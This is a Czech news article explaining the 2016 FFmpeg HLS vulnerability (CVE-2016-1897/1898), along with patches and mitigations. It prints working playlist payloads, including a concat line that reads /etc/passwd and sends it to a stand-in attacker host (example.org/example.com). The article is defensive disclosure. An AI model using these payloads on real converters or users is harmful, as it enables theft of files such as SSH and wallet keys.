Zranitelný FFmpeg: místo přehrávání videa odesílá soubory

Ondřej Caletka 18. 1. 2016

Ve frameworku FFmpeg, který pohání celou řadu multimediálních přehrávačů a konvertorů včetně webových prohlížečů, byla objevena kuriózní zranitelnost. Otevření speciálně upraveného souboru s videem vyvolá odeslání určeného souboru z disku útočníkovi. Jak přesně útok funguje a jak se bránit?

Projekt FFmpeg představuje univerzální framework pro přehrávání, záznam a streamování multimédií. Jeho funkce pro zakódování a dekódování nejrůznějších audio/video formátů je využívána v drtivé většině multimediálních přehrávačů, jako mpv, MPlayer nebo VLC, stejně jako populárního webového prohlížeče Chromium/Chrome. Samostatně pak disponuje konzolovou utilitou ffmpeg, která je hojně využívána při nejrůznějších automatizovaných konverzích video formátů.

Je zřejmé, že podpora velkého množství vstupních a výstupních formátů spolu s velkým množstvím kodeků vede na ohromné množství kódu (podle OpenHUB jde přibližně o milion řádků) s velkým potenciálem k chybám. Nově popsaný útok, který dostal identifikátory CVE-2016–1897 a CVE-2016–1898, však nevyužívá žádnou hrubou programátorskou chybu. Spíše jde o chytré použití existujících vstupních modulů pro jiný účel, než bylo zamýšleno, tedy hack v původním smyslu slova.

HTTP Live Streaming

Jedním z formátů, které jsou knihovnou FFmpeg podporovány, je protokol HTTP Live Streaming. Tento protokol byl vyvinut společností Apple pro streamování multimediálních dat prostřednictvím internetu. Specifikace protokolu je otevřená a již víc než šest let prochází procesem standardizace v IETF. Vzhledem k tomu, že jde nejspíše o jediný podporovaný formát streamingu na platformě Apple, stal se velmi rychle populární mezi video službami na webu a postupně vytlačuje zejména protokol RTMP používaný technologií Adobe Flash. Dodejme na okraj, že ke stejnému účelu existuje také mezinárodní standard MPEG-DASH, který je již několik let nasazen například na serveru YouTube.

Princip protokolu HLS spočívá v rozdělení přenášeného proudu na samostatné soubory formátu MPEG-TS. Z těchto segmentů je sestaveno několik playlistů formátu M3U8 s různým rozlišením a datovým tokem, které jsou odkazovány z hlavního playlistu. Přehrávač inteligentně stahuje jednotlivé segmenty, přičemž automaticky přechází mezi kvalitami videa podle velikosti okna přehrávače a rychlosti stahování jednotlivých částí. V případě živého vysílání klient stahuje playlisty opakovaně a získává tak odkazy na nové a nové segmenty.

Přípona obvykle nehraje roli

Důležitým faktorem útoku na FFmpeg je fakt, že při otevírání multimediálních souborů se řídí primárně jejich obsahem. Rozpozná-li po načtení prvních několika bajtů například hlavičku kontejneru Matroska, nasadí demultiplexer tohoto formátu bez ohledu na to, zda má soubor příponu mkv nebo třeba avi. Neplatí to ale absolutně; FFmpeg obsahuje například zvláštní režim přehrávání souborů s příponou .txt. Ty jsou převedeny na video, ve kterém se zobrazí obsah textového souboru.

Útok na webové video konvertory

Použitím dosud zmíněných ingrediencí je možné vykonat útok na nejrůznější webové konvertory video formátů, které na pozadí používají FFmpeg. Zajímá vás třeba, jakou IP adresu má server, na kterém konverze probíhá? Vytvořte soubor, třeba s příponou avi, s následujícím obsahem:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://ip-echo.ripe.net/#.txt
#EXT-X-ENDLIST 

Když se takový soubor pokusí FFmpeg přehrát, detekuje HLS playlist a začne přehrávat prezentované odkazy. Protože zde uvedený odkaz končí textem .txt, je obsah odkazu interpretován jako textový soubor a FFMpeg tedy vytvoří video obsahující text vrácený z daného odkazu.

Variací na takový útok je získání obsahu libovolného lokálního souboru, který je uživateli spouštějícímu FFmpeg dostupný. Stačí jen schéma http:// nahradit za file://. Zajímavé je, že takovýto útok na FFmpeg byl už v listopadu 2015 řešením jedné z úloh online šifrovací hry 9447 Security Society CTF.

Jak přehrávačem odeslat data?

Poslední ingrediencí, která proměňuje multimediální knihovnu v nástroj k vykrádání soukromých dat, je vstupní protokol concat . Jeho původním účelem je binární spojení několika vstupních souborů, aby se chovaly jako jeden. Útočník ve zlomyslném video souboru použije například následující odkaz na video:

concat:http://example.com/header.m3u8|file:///etc/passwd 

FFmpeg nejprve spojí obsah obou URL a teprve ten začne přehrávat. První ze souborů pak může obsahovat takovéto záhlaví HLS playlistu:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org? 

Přítomnost otazníku na konci souboru způsobí, že první řádek lokálního souboru /etc/passwd je odeslán jako dotaz na server útočníka. Útočník se nemusí omezovat pouze na první řádek. Pomocí jiného protokolu subfile je možné extrahovat z požadovaného souboru řádek od požadovaného bajtového ofsetu.

Pikantní je, že falešný multimediální soubor, který má vylákat data z klientského zařízení, vůbec nemusí být uživatelem aktivně otevřen. Stačí, když si ho všimne některý z indexovacích robotů, kteří na většině desktopových prostředí pomocí FFmpeg vyrábějí náhledové ikony video souborů.

Co je v ohrožení

Samotný popis zranitelnosti zní poměrně nebezpečně. Útok se týká pouze souborů čitelných uživatelem, který používá FFmpeg, takže v drtivé většině případů jsou systémová data v bezpečí. To by mohla být útěcha pro správně napsané webové služby konverze videa, které proces ffmpeg spouštějí v izolovaném prostředí. Pro běžné uživatele to žádnou útěchu nepředstavuje, jak vtipně před časem glosoval Randal Munroe:

Než cokoliv namítnete, ano, samozřejmě, že vím, že nemám počítač nechávat bez dozoru přihlášený ke všem svým účtům. Mám ho nastavený tak, že se po pár minutách nečinnosti automaticky přihlásí k účtům mého bratra.
Autor: Randal Munroe, překlad: xkcz, podle licence: CC BY-NC 2.5

V ohrožení jsou tak zejména soubory uložené na predikovatelných cestách. Z těch hodnotnějších například osobní SSH klíče, nebo třeba privátní klíče pro Bitcoinové peněženky. Pokud jste tedy nevyměňovali uživatelský SSH klíč po nedávné aféře s roamingem, je teď druhá příležitost.

Oprava je k dispozici

Ačkoli u tohoto bezpečnostního incidentu nedostali vývojáři čas navíc pro publikování opravy, zareagovali velmi rychle. Od soboty jsou k dispozici opravná vydání 2.8.5, 2.7.5, 2.6.7, 2.5.10. Oprava spočívá ve více striktní validaci URL v HLS playlistech (patch 1, 2), takže již například není povoleno použití schématu  file://.

Dočasnou opravu, kterou nasadili vývojáři Arch Linuxu, je zkompilování knihovny s vypnutou podporou pro síť. Taková oprava ovšem zároveň znamená ztrátu použitelnosti spousty utilit, které HLS používají, třeba youtube-dl.

Komplexní software obsahuje komplexní zranitelnosti

Takové je nejspíše poučení z celého incidentu. I při tak běžné činnosti, jakou je přehrávání videa, je třeba počítat s možnými vedlejšími efekty. Tato konkrétní zranitelnost je přitom ještě z těch mírnějších, neboť na rozdíl například od nedávné zranitelnosti knihovny Stagefright na OS Android neumožňuje spuštění útočníkova kódu.

Chyby, jako je tato, se jistě budou opakovat. Dobrou zprávou je, že nejsme zcela bezmocní ve zmírňování následků takových chyb. Má-li váš desktop správně nastaveno povinné řízení přístupu, třeba nástrojem SELinux, nemá multimediální knihovna v ideálním případě přístup k žádným citlivým datům.

Našli jste v článku chybu?
120na80.cz: Běžecká lékárnička: jak si poradit?

Běžecká lékárnička: jak si poradit?

Vitalia.cz: Máte chutě? Nejezděte do světa, ale do Dobřichovic

Máte chutě? Nejezděte do světa, ale do Dobřichovic

DigiZone.cz: Náhrada za nevrácená zařízení?

Náhrada za nevrácená zařízení?

120na80.cz: Jsou opalovací krémy pro děti jiné?

Jsou opalovací krémy pro děti jiné?

Podnikatel.cz: Neuvěříte, ale EET má pro podnikatele i výhody
MarketVoice

Neuvěříte, ale EET má pro podnikatele i výhody

DigiZone.cz: Soud zakázal šíření TV Markíza v ČR

Soud zakázal šíření TV Markíza v ČR

Vitalia.cz: Ministři se přou o využívání antibiotik

Ministři se přou o využívání antibiotik

Podnikatel.cz: Eseróčko vs. živnost. Co vyhrává?

Eseróčko vs. živnost. Co vyhrává?

DigiZone.cz: Skylink: Nova Sport volně

Skylink: Nova Sport volně

Lupa.cz: Jaké IoT tarify nabízejí mobilní operátoři?

Jaké IoT tarify nabízejí mobilní operátoři?

Podnikatel.cz: Jeho dřevěné hodinky chtějí na všech kontinentech

Jeho dřevěné hodinky chtějí na všech kontinentech

Měšec.cz: Od kdy musí studenti platit pojistné?

Od kdy musí studenti platit pojistné?

Root.cz: Střílejte v obýváku, stačí kamera a projektor

Střílejte v obýváku, stačí kamera a projektor

DigiZone.cz: Kritické poznámky k DVB-T2

Kritické poznámky k DVB-T2

Lupa.cz: Vydavatelé jsou v háji, ale neumí si to připustit

Vydavatelé jsou v háji, ale neumí si to připustit

Vitalia.cz: Epidemie: Klíšťová encefalitida po ovčím sýru

Epidemie: Klíšťová encefalitida po ovčím sýru

Lupa.cz: Text umírá, na webu zbude jen video

Text umírá, na webu zbude jen video

DigiZone.cz: Skylink zapojil nový transpondér

Skylink zapojil nový transpondér

Root.cz: Nejvýkonnější počítač mají v Číně, podívejte se

Nejvýkonnější počítač mají v Číně, podívejte se

Root.cz: Špína v počítačích: mrtvé myši, prach a pavouci

Špína v počítačích: mrtvé myši, prach a pavouci